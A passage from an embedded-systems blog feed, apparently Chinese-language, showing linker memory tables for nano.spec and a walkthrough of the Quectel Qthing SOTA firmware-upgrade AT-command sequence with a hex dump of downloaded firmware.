</span></span><span class="line"><span class="cl">libn32g430_std_periph_driver.a,694,64,0,0,758,758,0
</span></span><span class="line"><span class="cl">nofp<span class="se">\l</span>ibnosys.a,144,0,0,4,144,144,4
</span></span><span class="line"><span class="cl">crtn.o,8,0,0,0,8,8,0
</span></span><span class="line"><span class="cl">crtbegin.o,0,0,0,0,0,0,0
</span></span></code></pre></td></tr></table>
</div>
</div><p>nano.spec:</p>
<div class="highlight"><div class="chroma">
<table class="lntable"><tr><td class="lntd">
<pre tabindex="0" class="chroma"><code><span class="lnt">1
</span><span class="lnt">2
</span><span class="lnt">3
</span></code></pre></td>
<td class="lntd">
<pre tabindex="0" class="chroma"><code class="language-bash" data-lang="bash"><span class="line"><span class="cl">Memory region         Used Size  Region Size  %age Used
</span></span><span class="line"><span class="cl">             RAM:        <span class="m">1808</span> B        <span class="m">16</span> KB     11.04%
</span></span><span class="line"><span class="cl">           FLASH:       <span class="m">17620</span> B        <span class="m">64</span> KB     26.89%
</span></span></code></pre></td></tr></table>
</div>
</div><div class="highlight"><div class="chroma">
<table class="lntable"><tr><td class="lntd">
<pre tabindex="0" class="chroma"><code><span class="lnt"> 1
</span><span class="lnt"> 2
</span><span class="lnt"> 3
</span><span class="lnt"> 4
</span><span class="lnt"> 5
</span><span class="lnt"> 6
</span><span class="lnt"> 7
</span><span class="lnt"> 8
</span><span class="lnt"> 9
</span><span class="lnt">10
</span></code></pre></td>
<td class="lntd">
<pre tabindex="0" class="chroma"><code class="language-bash" data-lang="bash"><span class="line"><span class="cl">library name,text,rodata,data,bss,code,flash,ram
</span></span><span class="line"><span class="cl">nofp<span class="se">\l</span>ibc_nano.a,4328,151,100,15,4479,4579,115
</span></span><span class="line"><span class="cl">main.c.obj,220,26,0,100,246,246,100
</span></span><span class="line"><span class="cl">libCMSIS.a,570,0,4,0,570,574,4
</span></span><span class="line"><span class="cl">libbsp.a,484,0,0,0,484,484,0
</span></span><span class="line"><span class="cl">libtask.a,220,0,0,16,220,220,16
</span></span><span class="line"><span class="cl">libn32g430_std_periph_driver.a,694,64,0,0,758,758,0
</span></span><span class="line"><span class="cl">nofp<span class="se">\l</span>ibnosys.a,108,0,0,4,108,108,4
</span></span><span class="line"><span class="cl">crtn.o,8,0,0,0,8,8,0
</span></span><span class="line"><span class="cl">crtbegin.o,0,0,0,0,0,0,0
</span></span></code></pre></td></tr></table>
</div>
</div><p>当在内存资源不富裕的设备开发，应优先使用 nano.spec，不然光打印一个 hello word flash 内存就已经用到二、三十KB了，开销太大。</p>
]]></content:encoded>
    </item>
    <item>
      <title>Qthing AT SOTA 升级流程</title>
      <link>https://hacperme.com/posts/notes/2025/20250102_qthing_at_sota/</link>
      <pubDate>Thu, 02 Jan 2025 00:49:37 +0800</pubDate>
      <guid>https://hacperme.com/posts/notes/2025/20250102_qthing_at_sota/</guid>
      <description>Qthing fota 相关 at 指令 AT+QIOTOTAREQ AT+QIOTUPDATE AT+QIOTOTARD AT+QIOTMCUVER 文档上只有指令功能说明，没有整个交互流程介绍。 SOTA 升级 AT 交互流程 1 2 3 4 5 6 7 8 9 10 11 12 ## 上传组件当前版本号，可以在连上</description>
      <content:encoded><![CDATA[<h2 id="qthing-fota-相关-at-指令">Qthing fota 相关 at 指令</h2>
<p><a href="https://iot-cloud-docs.quectelcn.com/deviceDevelop/nb/AT/API/nb-at-05.html#AT+QIOTOTAREQ">AT+QIOTOTAREQ</a></p>
<p><a href="https://iot-cloud-docs.quectelcn.com/deviceDevelop/nb/AT/API/nb-at-05.html#AT+QIOTUPDATE">AT+QIOTUPDATE</a></p>
<p><a href="https://iot-cloud-docs.quectelcn.com/deviceDevelop/nb/AT/API/nb-at-05.html#AT+QIOTOTARD">AT+QIOTOTARD</a></p>
<p><a href="https://iot-cloud-docs.quectelcn.com/deviceDevelop/nb/AT/API/nb-at-03.html#AT+QIOTMCUVER">AT+QIOTMCUVER</a></p>
<p>文档上只有指令功能说明，没有整个交互流程介绍。</p>
<h2 id="sota-升级-at-交互流程">SOTA 升级 AT 交互流程</h2>
<div class="highlight"><div class="chroma">
<table class="lntable"><tr><td class="lntd">
<pre tabindex="0" class="chroma"><code><span class="lnt"> 1
</span><span class="lnt"> 2
</span><span class="lnt"> 3
</span><span class="lnt"> 4
</span><span class="lnt"> 5
</span><span class="lnt"> 6
</span><span class="lnt"> 7
</span><span class="lnt"> 8
</span><span class="lnt"> 9
</span><span class="lnt">10
</span><span class="lnt">11
</span><span class="lnt">12
</span></code></pre></td>
<td class="lntd">
<pre tabindex="0" class="chroma"><code class="language-bash" data-lang="bash"><span class="line"><span class="cl"><span class="c1">## 上传组件当前版本号，可以在连上云平台之前配置</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">AT+QIOTMCUVER<span class="o">=</span><span class="s2">&#34;GNSS-P0&#34;</span>,<span class="s2">&#34;LC76GPANR12A03S&#34;</span>
</span></span><span class="line"><span class="cl">OK
</span></span><span class="line"><span class="cl">AT+QIOTMCUVER<span class="o">=</span><span class="s2">&#34;GNSS-P1&#34;</span>,<span class="s2">&#34;LC76GPANR12A03S&#34;</span>
</span></span><span class="line"><span class="cl">OK
</span></span><span class="line"><span class="cl">AT+QIOTMCUVER<span class="o">=</span><span class="s2">&#34;GNSS-P2&#34;</span>,<span class="s2">&#34;LC76GPANR12A03S&#34;</span>
</span></span><span class="line"><span class="cl">OK
</span></span><span class="line"><span class="cl">AT+QIOTMCUVER<span class="o">=</span><span class="s2">&#34;GNSS-P3&#34;</span>,<span class="s2">&#34;LC76GPANR12A03S&#34;</span>
</span></span><span class="line"><span class="cl">OK
</span></span><span class="line"><span class="cl">AT+QIOTMCUVER<span class="o">=</span><span class="s2">&#34;GNSS-P4&#34;</span>,<span class="s2">&#34;LC76GPANR12A03S&#34;</span>
</span></span><span class="line"><span class="cl">OK
</span></span></code></pre></td></tr></table>
</div>
</div><div class="highlight"><div class="chroma">
<table class="lntable"><tr><td class="lntd">
<pre tabindex="0" class="chroma"><code><span class="lnt">1
</span><span class="lnt">2
</span><span class="lnt">3
</span><span class="lnt">4
</span></code></pre></td>
<td class="lntd">
<pre tabindex="0" class="chroma"><code class="language-bash" data-lang="bash"><span class="line"><span class="cl"><span class="c1">## 请求升级计划，在连上云平台之后发送</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">AT+QIOTOTAREQ<span class="o">=</span><span class="m">0</span>
</span></span><span class="line"><span class="cl">OK
</span></span></code></pre></td></tr></table>
</div>
</div><div class="highlight"><div class="chroma">
<table class="lntable"><tr><td class="lntd">
<pre tabindex="0" class="chroma"><code><span class="lnt"> 1
</span><span class="lnt"> 2
</span><span class="lnt"> 3
</span><span class="lnt"> 4
</span><span class="lnt"> 5
</span><span class="lnt"> 6
</span><span class="lnt"> 7
</span><span class="lnt"> 8
</span><span class="lnt"> 9
</span><span class="lnt">10
</span></code></pre></td>
<td class="lntd">
<pre tabindex="0" class="chroma"><code class="language-bash" data-lang="bash"><span class="line"><span class="cl"><span class="c1">## 平台下发升级计划</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">+QIOTEVT: 7,10700,<span class="s2">&#34;GNSS-P0&#34;</span>,<span class="s2">&#34;&#34;</span>,<span class="s2">&#34;LC76GABNR12A02S&#34;</span>,30,-113,1110736
</span></span><span class="line"><span class="cl">+QIOTEVT: 7,10700,<span class="s2">&#34;GNSS-P1&#34;</span>,<span class="s2">&#34;&#34;</span>,<span class="s2">&#34;LC76GABNR12A02S&#34;</span>,30,-113,1110736
</span></span><span class="line"><span class="cl">+QIOTEVT: 7,10700,<span class="s2">&#34;GNSS-P2&#34;</span>,<span class="s2">&#34;&#34;</span>,<span class="s2">&#34;LC76GABNR12A02S&#34;</span>,30,-113,1110736
</span></span><span class="line"><span class="cl">+QIOTEVT: 7,10700,<span class="s2">&#34;GNSS-P3&#34;</span>,<span class="s2">&#34;&#34;</span>,<span class="s2">&#34;LC76GABNR12A02S&#34;</span>,30,-113,1110736
</span></span><span class="line"><span class="cl">+QIOTEVT: 7,10700,<span class="s2">&#34;GNSS-P4&#34;</span>,<span class="s2">&#34;&#34;</span>,<span class="s2">&#34;LC76GABNR12A02S&#34;</span>,30,-113,1110736
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="c1"># 一个升级计划可能包含多个组件升级，他这里分别上报各个组件的升级信息，这样 MCU 并不知道当前升级计划有多少个组件要升级。</span>
</span></span><span class="line"><span class="cl"><span class="c1"># 这里的升级计划数据需要持久化，一旦平台开始下载升级了，中间掉电重新上线，不会再次下发升级计划，而是重新开始下载文件。</span>
</span></span></code></pre></td></tr></table>
</div>
</div><div class="highlight"><div class="chroma">
<table class="lntable"><tr><td class="lntd">
<pre tabindex="0" class="chroma"><code><span class="lnt">1
</span><span class="lnt">2
</span><span class="lnt">3
</span><span class="lnt">4
</span></code></pre></td>
<td class="lntd">
<pre tabindex="0" class="chroma"><code class="language-bash" data-lang="bash"><span class="line"><span class="cl"><span class="c1">## 设备确认升级</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">AT+QIOTUPDATE<span class="o">=</span><span class="m">1</span>
</span></span><span class="line"><span class="cl">OK
</span></span></code></pre></td></tr></table>
</div>
</div><div class="highlight"><div class="chroma">
<table class="lntable"><tr><td class="lntd">
<pre tabindex="0" class="chroma"><code><span class="lnt">1
</span><span class="lnt">2
</span></code></pre></td>
<td class="lntd">
<pre tabindex="0" class="chroma"><code class="language-bash" data-lang="bash"><span class="line"><span class="cl"><span class="c1">## 广播操作第一个设备。ps：好像没啥用，当前没处理这个URC</span>
</span></span><span class="line"><span class="cl">+QIOTEVT: 7,10707,1
</span></span></code></pre></td></tr></table>
</div>
</div><div class="highlight"><div class="chroma">
<table class="lntable"><tr><td class="lntd">
<pre tabindex="0" class="chroma"><code><span class="lnt">1
</span><span class="lnt">2
</span><span class="lnt">3
</span><span class="lnt">4
</span><span class="lnt">5
</span><span class="lnt">6
</span><span class="lnt">7
</span><span class="lnt">8
</span><span class="lnt">9
</span></code></pre></td>
<td class="lntd">
<pre tabindex="0" class="chroma"><code class="language-bash" data-lang="bash"><span class="line"><span class="cl"><span class="c1">## 开始下载组件</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">+QIOTEVT: 7,10701,<span class="s2">&#34;GNSS-P0&#34;</span>,43956,<span class="s2">&#34;af575a5488587fcbb49a5abc750d9df5&#34;</span>,1520610221
</span></span><span class="line"><span class="cl"><span class="c1"># 校验信息在这个阶段得保存下来，用于核对下载完成之后升级文件的完整性校验。</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="c1">## 下载中</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">+QIOTEVT: 7,10702
</span></span><span class="line"><span class="cl">+QIOTEVT: 7,10702
</span></span></code></pre></td></tr></table>
</div>
</div><div class="highlight"><div class="chroma">
<table class="lntable"><tr><td class="lntd">
<pre tabindex="0" class="chroma"><code><span class="lnt"> 1
</span><span class="lnt"> 2
</span><span class="lnt"> 3
</span><span class="lnt"> 4
</span><span class="lnt"> 5
</span><span class="lnt"> 6
</span><span class="lnt"> 7
</span><span class="lnt"> 8
</span><span class="lnt"> 9
</span><span class="lnt">10
</span><span class="lnt">11
</span><span class="lnt">12
</span><span class="lnt">13
</span><span class="lnt">14
</span><span class="lnt">15
</span><span class="lnt">16
</span><span class="lnt">17
</span><span class="lnt">18
</span><span class="lnt">19
</span><span class="lnt">20
</span><span class="lnt">21
</span><span class="lnt">22
</span><span class="lnt">23
</span><span class="lnt">24
</span><span class="lnt">25
</span><span class="lnt">26
</span><span class="lnt">27
</span><span class="lnt">28
</span><span class="lnt">29
</span><span class="lnt">30
</span><span class="lnt">31
</span><span class="lnt">32
</span><span class="lnt">33
</span><span class="lnt">34
</span><span class="lnt">35
</span><span class="lnt">36
</span><span class="lnt">37
</span><span class="lnt">38
</span><span class="lnt">39
</span><span class="lnt">40
</span><span class="lnt">41
</span><span class="lnt">42
</span><span class="lnt">43
</span><span class="lnt">44
</span><span class="lnt">45
</span><span class="lnt">46
</span><span class="lnt">47
</span><span class="lnt">48
</span><span class="lnt">49
</span><span class="lnt">50
</span><span class="lnt">51
</span><span class="lnt">52
</span><span class="lnt">53
</span><span class="lnt">54
</span><span class="lnt">55
</span><span class="lnt">56
</span><span class="lnt">57
</span><span class="lnt">58
</span><span class="lnt">59
</span><span class="lnt">60
</span><span class="lnt">61
</span><span class="lnt">62
</span><span class="lnt">63
</span><span class="lnt">64
</span><span class="lnt">65
</span><span class="lnt">66
</span><span class="lnt">67
</span><span class="lnt">68
</span><span class="lnt">69
</span><span class="lnt">70
</span><span class="lnt">71
</span><span class="lnt">72
</span><span class="lnt">73
</span><span class="lnt">74
</span><span class="lnt">75
</span><span class="lnt">76
</span><span class="lnt">77
</span><span class="lnt">78
</span><span class="lnt">79
</span><span class="lnt">80
</span><span class="lnt">81
</span><span class="lnt">82
</span><span class="lnt">83
</span><span class="lnt">84
</span><span class="lnt">85
</span><span class="lnt">86
</span><span class="lnt">87
</span><span class="lnt">88
</span><span class="lnt">89
</span><span class="lnt">90
</span></code></pre></td>
<td class="lntd">
<pre tabindex="0" class="chroma"><code class="language-bash" data-lang="bash"><span class="line"><span class="cl"><span class="c1">## 文件片段下载完成</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">+QIOTEVT: 7,10703,<span class="s2">&#34;GNSS-P0&#34;</span>,43956,0,43956
</span></span><span class="line"><span class="cl"><span class="c1"># ps：需要处理读取的偏移量，需要判断文件下载完成了还是只是文件部分片段下载完成了</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="c1">## 读取固件数据</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">AT+QIOTOTARD<span class="o">=</span>0,974
</span></span><span class="line"><span class="cl">+QIOTOTARD: 0,974
</span></span><span class="line"><span class="cl">0000-0020: DF F8 <span class="m">58</span> D0 <span class="m">72</span> B6 <span class="m">16</span> <span class="m">48</span>  <span class="m">80</span> <span class="m">47</span> <span class="m">16</span> <span class="m">48</span> <span class="m">16</span> <span class="m">49</span> <span class="m">17</span> 4B  <span class="m">17</span> 4C <span class="m">18</span> 4A <span class="m">42</span> F8 <span class="m">04</span> 0B  <span class="m">42</span> F8 <span class="m">04</span> 1B <span class="m">42</span> F8 <span class="m">04</span> 3B    ..X.r..H.G.H.I.K.L.JB...B...B..<span class="p">;</span>
</span></span><span class="line"><span class="cl">0020-0040: <span class="m">14</span> <span class="m">60</span> <span class="m">00</span> <span class="m">20</span> <span class="m">14</span> <span class="m">49</span> 0D 4A  <span class="m">41</span> F8 <span class="m">04</span> 0B <span class="m">91</span> <span class="m">42</span> FF F4  FB AF <span class="m">12</span> 4A <span class="m">12</span> 4B 0A F0  5E FB <span class="m">12</span> 4A <span class="m">12</span> 4B 0A F0    .<span class="sb">`</span>. .I.JA....B.....J.K..^..J.K..
</span></span><span class="line"><span class="cl">0040-0060: 5A FB <span class="m">12</span> <span class="m">49</span> <span class="m">12</span> 4A <span class="m">13</span> 4B  0A F0 4C FB <span class="m">12</span> <span class="m">49</span> <span class="m">13</span> 4A  <span class="m">13</span> 4B 0A F0 <span class="m">47</span> FB <span class="m">13</span> <span class="m">48</span>  <span class="m">00</span> <span class="m">47</span> <span class="m">70</span> <span class="m">47</span> <span class="m">00</span> <span class="m">40</span> <span class="m">01</span> <span class="m">04</span>    Z..I.J.K..L..I.J.K..G..H.GpG.@..
</span></span><span class="line"><span class="cl">0060-0080: AD A6 <span class="m">20</span> <span class="m">04</span> <span class="m">17</span> <span class="m">00</span> <span class="m">20</span> <span class="m">14</span>  <span class="m">00</span> <span class="m">00</span> <span class="m">20</span> <span class="m">04</span> <span class="m">23</span> <span class="m">00</span> <span class="m">00</span> <span class="m">10</span>  <span class="m">00</span> <span class="m">00</span> <span class="m">00</span> <span class="m">00</span> <span class="m">00</span> <span class="m">10</span> <span class="m">18</span> E0  <span class="m">00</span> <span class="m">30</span> <span class="m">01</span> <span class="m">04</span> B4 AB <span class="m">20</span> <span class="m">04</span>    .. ... ... .#............0.... .
</span></span><span class="line"><span class="cl">0080-00A0: 9C F2 <span class="m">20</span> <span class="m">04</span> FC 0E <span class="m">00</span> <span class="m">04</span>  C8 BF <span class="m">00</span> <span class="m">04</span> <span class="m">78</span> <span class="m">01</span> <span class="m">20</span> <span class="m">04</span>  <span class="m">00</span> <span class="m">00</span> <span class="m">00</span> <span class="m">04</span> E4 0E <span class="m">00</span> <span class="m">04</span>  5C <span class="m">10</span> <span class="m">20</span> <span class="m">04</span> E4 0E <span class="m">00</span> <span class="m">04</span>    .. .........x. .........<span class="se">\.</span> .....
</span></span><span class="line"><span class="cl">00A0-00C0: FC 0E <span class="m">00</span> <span class="m">04</span> B1 5F <span class="m">20</span> <span class="m">04</span>  <span class="m">00</span> <span class="m">40</span> <span class="m">01</span> <span class="m">04</span> <span class="m">01</span> <span class="m">00</span> <span class="m">20</span> <span class="m">04</span>  B9 <span class="m">73</span> <span class="m">20</span> <span class="m">04</span> B9 <span class="m">73</span> <span class="m">20</span> <span class="m">04</span>  B9 <span class="m">73</span> <span class="m">20</span> <span class="m">04</span> B9 <span class="m">73</span> <span class="m">20</span> <span class="m">04</span>    ....._ ..@.... ..s ..s ..s ..s .
</span></span><span class="line"><span class="cl">00C0-00E0: B9 <span class="m">73</span> <span class="m">20</span> <span class="m">04</span> <span class="m">00</span> <span class="m">00</span> <span class="m">00</span> <span class="m">00</span>  <span class="m">00</span> <span class="m">00</span> <span class="m">00</span> <span class="m">00</span> <span class="m">00</span> <span class="m">00</span> <span class="m">00</span> <span class="m">00</span>  <span class="m">00</span> <span class="m">00</span> <span class="m">00</span> <span class="m">00</span> B9 <span class="m">73</span> <span class="m">20</span> <span class="m">04</span>  B9 <span class="m">73</span> <span class="m">20</span> <span class="m">04</span> <span class="m">00</span> <span class="m">00</span> <span class="m">00</span> <span class="m">00</span>    .s ..................s ..s .....
</span></span><span class="line"><span class="cl">00E0-0100: B9 <span class="m">73</span> <span class="m">20</span> <span class="m">04</span> B9 <span class="m">73</span> <span class="m">20</span> <span class="m">04</span>  <span class="m">11</span> <span class="m">00</span> <span class="m">00</span> <span class="m">04</span> <span class="m">11</span> <span class="m">00</span> <span class="m">00</span> <span class="m">04</span>  <span class="m">11</span> <span class="m">00</span> <span class="m">00</span> <span class="m">04</span> <span class="m">11</span> <span class="m">00</span> <span class="m">00</span> <span class="m">04</span>  <span class="m">11</span> <span class="m">00</span> <span class="m">00</span> <span class="m">04</span> <span class="m">11</span> <span class="m">00</span> <span class="m">00</span> <span class="m">04</span>    .s ..s .........................
</span></span><span class="line"><span class="cl">0100-0120: <span class="m">11</span> <span class="m">00</span> <span class="m">00</span> <span class="m">04</span> <span class="m">11</span> <span class="m">00</span> <span class="m">00</span> <span class="m">04</span>  <span class="m">11</span> <span class="m">00</span> <span class="m">00</span> <span class="m">04</span> <span class="m">11</span> <span class="m">00</span> <span class="m">00</span> <span class="m">04</span>  <span class="m">11</span> <span class="m">00</span> <span class="m">00</span> <span class="m">04</span> <span class="m">11</span> <span class="m">00</span> <span class="m">00</span> <span class="m">04</span>  <span class="m">11</span> <span class="m">00</span> <span class="m">00</span> <span class="m">04</span> <span class="m">11</span> <span class="m">00</span> <span class="m">00</span> <span class="m">04</span>    ................................
</span></span><span class="line"><span class="cl">0120-0140: <span class="m">11</span> <span class="m">00</span> <span class="m">00</span> <span class="m">04</span> <span class="m">11</span> <span class="m">00</span> <span class="m">00</span> <span class="m">04</span>  <span class="m">11</span> <span class="m">00</span> <span class="m">00</span> <span class="m">04</span> <span class="m">11</span> <span class="m">00</span> <span class="m">00</span> <span class="m">04</span>  <span class="m">11</span> <span class="m">00</span> <span class="m">00</span> <span class="m">04</span> <span class="m">11</span> <span class="m">00</span> <span class="m">00</span> <span class="m">04</span>  <span class="m">11</span> <span class="m">00</span> <span class="m">00</span> <span class="m">04</span> <span class="m">11</span> <span class="m">00</span> <span class="m">00</span> <span class="m">04</span>    ................................
</span></span><span class="line"><span class="cl">0140-0160: <span class="m">11</span> <span class="m">00</span> <span class="m">00</span> <span class="m">04</span> <span class="m">11</span> <span class="m">00</span> <span class="m">00</span> <span class="m">04</span>  <span class="m">11</span> <span class="m">00</span> <span class="m">00</span> <span class="m">04</span> <span class="m">11</span> <span class="m">00</span> <span class="m">00</span> <span class="m">04</span>  <span class="m">11</span> <span class="m">00</span> <span class="m">00</span> <span class="m">04</span> <span class="m">11</span> <span class="m">00</span> <span class="m">00</span> <span class="m">04</span>  <span class="m">11</span> <span class="m">00</span> <span class="m">00</span> <span class="m">04</span> <span class="m">11</span> <span class="m">00</span> <span class="m">00</span> <span class="m">04</span>    ................................
</span></span><span class="line"><span class="cl">0160-0180: <span class="m">11</span> <span class="m">00</span> <span class="m">00</span> <span class="m">04</span> <span class="m">11</span> <span class="m">00</span> <span class="m">00</span> <span class="m">04</span>  <span class="m">11</span> <span class="m">00</span> <span class="m">00</span> <span class="m">04</span> <span class="m">11</span> <span class="m">00</span> <span class="m">00</span> <span class="m">04</span>  <span class="m">11</span> <span class="m">00</span> <span class="m">00</span> <span class="m">04</span> <span class="m">11</span> <span class="m">00</span> <span class="m">00</span> <span class="m">04</span>  <span class="m">02</span> 4B <span class="m">58</span> <span class="m">68</span> C0 F3 <span class="m">08</span> <span class="m">00</span>    .........................KXh....
</span></span><span class="line"><span class="cl">0180-01A0: <span class="m">10</span> <span class="m">38</span> <span class="m">70</span> <span class="m">47</span> <span class="m">00</span> ED <span class="m">00</span> E0  <span class="m">08</span> B5 <span class="m">00</span> F0 <span class="m">89</span> FE FF F7  F3 FF C0 B2 1A <span class="m">28</span> <span class="m">07</span> D8  <span class="m">40</span> B2 0B 4B <span class="m">53</span> F8 <span class="m">20</span> <span class="m">30</span>    .8pG.................<span class="o">(</span>..@..KS. <span class="m">0</span>
</span></span><span class="line"><span class="cl">01A0-01C0: <span class="m">23</span> B1 <span class="m">98</span> <span class="m">47</span> <span class="m">00</span> <span class="m">20</span> <span class="m">02</span> E0  FD <span class="m">20</span> <span class="m">00</span> E0 FC <span class="m">20</span> EF F3  <span class="m">12</span> <span class="m">83</span> <span class="m">33</span> B1 <span class="m">05</span> <span class="m">48</span> <span class="m">06</span> 4A  <span class="m">06</span> 4B 4F F4 <span class="m">91</span> <span class="m">71</span> <span class="m">06</span> F2    <span class="c1">#..G. ... ... ....3..H.J.KO..q..</span>
</span></span><span class="line"><span class="cl">01C0-01E0: 6F F8 <span class="m">40</span> B2 <span class="m">08</span> BD <span class="m">00</span> BF  <span class="m">54</span> AC <span class="m">20</span> <span class="m">04</span> 4F <span class="m">12</span> <span class="m">20</span> <span class="m">04</span>  A0 <span class="m">12</span> <span class="m">20</span> <span class="m">04</span> 8D <span class="m">25</span> <span class="m">20</span> <span class="m">04</span>  <span class="m">10</span> B5 <span class="m">74</span> <span class="m">46</span> EF F3 <span class="m">12</span> <span class="m">83</span>    o.@.....T. .O. ... ..% ...tF....
</span></span><span class="line"><span class="cl">01E0-0200: <span class="m">03</span> <span class="m">60</span> <span class="m">10</span> <span class="m">23</span> <span class="m">83</span> F3 <span class="m">11</span> <span class="m">88</span>  BF F3 5F 8F BF F3 6F 8F  <span class="m">00</span> <span class="m">68</span> <span class="m">48</span> B9 <span class="m">00</span> F0 AE FD  <span class="m">02</span> <span class="m">28</span> <span class="m">05</span> D1 <span class="m">01</span> <span class="m">20</span> <span class="m">03</span> <span class="m">49</span>    .<span class="sb">`</span>.#......_...o..hH......<span class="o">(</span>... .I
</span></span><span class="line"><span class="cl">0200-0220: <span class="m">00</span> F0 <span class="m">64</span> F8 <span class="m">02</span> 4B 1C <span class="m">60</span>  <span class="m">00</span> <span class="m">20</span> <span class="m">10</span> BD E8 0E <span class="m">00</span> <span class="m">04</span>  <span class="m">50</span> AC <span class="m">20</span> <span class="m">04</span> F8 B5 <span class="m">07</span> <span class="m">46</span>  <span class="m">68</span> BB EF F3 <span class="m">12</span> <span class="m">83</span> <span class="m">10</span> 2B    ..d..K.<span class="sb">`</span>. ......P. ....Fh......+
</span></span><span class="line"><span class="cl">0220-0240: <span class="m">29</span> D1 <span class="m">00</span> F0 <span class="m">97</span> FD <span class="m">02</span> <span class="m">28</span>  <span class="m">22</span> D1 <span class="m">17</span> 4C <span class="m">17</span> 4D <span class="m">18</span> 4E  <span class="m">21</span> <span class="m">46</span> <span class="m">01</span> <span class="m">20</span> <span class="m">00</span> F0 4A F8  <span class="m">30</span> <span class="m">68</span> <span class="m">21</span> <span class="m">68</span> 2A <span class="m">46</span> <span class="m">00</span> F0    <span class="o">)</span>......<span class="o">(</span><span class="s2">&#34;..L.M.N!F. ..J.0h!h*F..
</span></span></span><span class="line"><span class="cl"><span class="s2">0240-0260: 71 F8 2B 68 B3 F5 7A 7F  0E D9 1E 20 64 21 04 F2  1D FD 49 F6 40 43 98 42  06 D9 0E 48 0E 4A 0F 4B    q.+h..z.... d!....I.@C.B...H.J.K
</span></span></span><span class="line"><span class="cl"><span class="s2">0260-0280: 4F F4 AD 71 06 F2 1C F8  00 23 33 60 23 60 2B 60  0B 4B 00 22 1A 60 87 F3  11 88 BF F3 5F 8F BF F3    O..q.....#3`#`+`.K.&#34;</span>.<span class="sb">`</span>......_...
</span></span><span class="line"><span class="cl">0280-02A0: 6F 8F <span class="m">00</span> <span class="m">20</span> F8 BD <span class="m">00</span> BF  EC 0E <span class="m">00</span> <span class="m">04</span> E4 0E <span class="m">00</span> <span class="m">04</span>  E8 0E <span class="m">00</span> <span class="m">04</span> 4F <span class="m">12</span> <span class="m">20</span> <span class="m">04</span>  <span class="m">80</span> <span class="m">12</span> <span class="m">20</span> <span class="m">04</span> 8D <span class="m">25</span> <span class="m">20</span> <span class="m">04</span>    o.. ................O. ... ..% .
</span></span><span class="line"><span class="cl">02A0-02C0: <span class="m">50</span> AC <span class="m">20</span> <span class="m">04</span> EF F3 <span class="m">12</span> <span class="m">83</span>  <span class="m">03</span> <span class="m">60</span> <span class="m">10</span> <span class="m">23</span> <span class="m">83</span> F3 <span class="m">11</span> <span class="m">88</span>  BF F3 5F 8F BF F3 6F 8F  <span class="m">00</span> <span class="m">20</span> <span class="m">70</span> <span class="m">47</span> <span class="m">80</span> F3 <span class="m">11</span> <span class="m">88</span>    P. ......<span class="sb">`</span>.#......_...o.. pG....
</span></span><span class="line"><span class="cl">02C0-02E0: BF F3 5F 8F BF F3 6F 8F  <span class="m">00</span> <span class="m">20</span> <span class="m">70</span> <span class="m">47</span> <span class="m">70</span> B5 0D <span class="m">46</span>  <span class="m">04</span> <span class="m">46</span> <span class="m">60</span> B9 <span class="m">10</span> 4E <span class="m">33</span> <span class="m">78</span>  <span class="m">01</span> 2B <span class="m">06</span> D0 0F <span class="m">48</span> <span class="m">10</span> <span class="m">21</span>    .._...o.. pGp..F.F<span class="sb">`</span>..N3x.+...H.!
</span></span><span class="line"><span class="cl">02E0-0300: <span class="m">22</span> <span class="m">46</span> <span class="m">00</span> F0 7A F8 <span class="m">01</span> <span class="m">23</span>  <span class="m">33</span> <span class="m">70</span> 0C <span class="m">48</span> 0C E0 <span class="m">01</span> <span class="m">28</span>  0F D1 <span class="m">09</span> 4E <span class="m">73</span> <span class="m">78</span> <span class="m">01</span> 2B  <span class="m">05</span> D0 <span class="m">09</span> <span class="m">48</span> <span class="m">00</span> <span class="m">21</span> 0C <span class="m">22</span>    <span class="s2">&#34;F..z..#3p.H...(...Nsx.+...H.!.&#34;</span>
</span></span><span class="line"><span class="cl">0300-0320: <span class="m">00</span> F0 6B F8 <span class="m">74</span> <span class="m">70</span> <span class="m">06</span> <span class="m">48</span>  <span class="m">00</span> F0 <span class="m">46</span> F8 <span class="m">28</span> <span class="m">60</span> <span class="m">00</span> <span class="m">20</span>  <span class="m">00</span> E0 FF <span class="m">20</span> <span class="m">40</span> B2 <span class="m">70</span> BD  FC 0E <span class="m">00</span> <span class="m">04</span> <span class="m">00</span> <span class="m">02</span> <span class="m">12</span> A2    ..k.tp.H..F.<span class="o">(</span><span class="sb">`</span>. ... @.p.........
</span></span><span class="line"><span class="cl">0320-0340: <span class="m">00</span> <span class="m">03</span> <span class="m">12</span> A2 1A B1 <span class="m">08</span> 1A  <span class="m">10</span> <span class="m">60</span> <span class="m">00</span> <span class="m">20</span> <span class="m">00</span> E0 FF <span class="m">20</span>  <span class="m">40</span> B2 <span class="m">70</span> <span class="m">47</span> <span class="m">38</span> B5 0A 4C  <span class="m">23</span> <span class="m">78</span> <span class="m">01</span> 2B <span class="m">05</span> <span class="m">46</span> <span class="m">06</span> D0    .........<span class="sb">`</span>. ... @.pG8..L#x.+.F..
</span></span><span class="line"><span class="cl">0340-0360: <span class="m">08</span> <span class="m">48</span> <span class="m">10</span> <span class="m">21</span> <span class="m">00</span> <span class="m">22</span> <span class="m">00</span> F0  <span class="m">48</span> F8 <span class="m">01</span> <span class="m">23</span> <span class="m">23</span> <span class="m">70</span> <span class="m">28</span> <span class="m">46</span>  <span class="m">00</span> F0 <span class="m">24</span> F8 <span class="m">01</span> <span class="m">46</span> <span class="m">03</span> <span class="m">48</span>  <span class="m">00</span> F0 4B F8 <span class="m">00</span> <span class="m">20</span> <span class="m">38</span> BD    .H.!.<span class="s2">&#34;..H..##p(F..</span>$<span class="s2">..F.H..K.. 8.
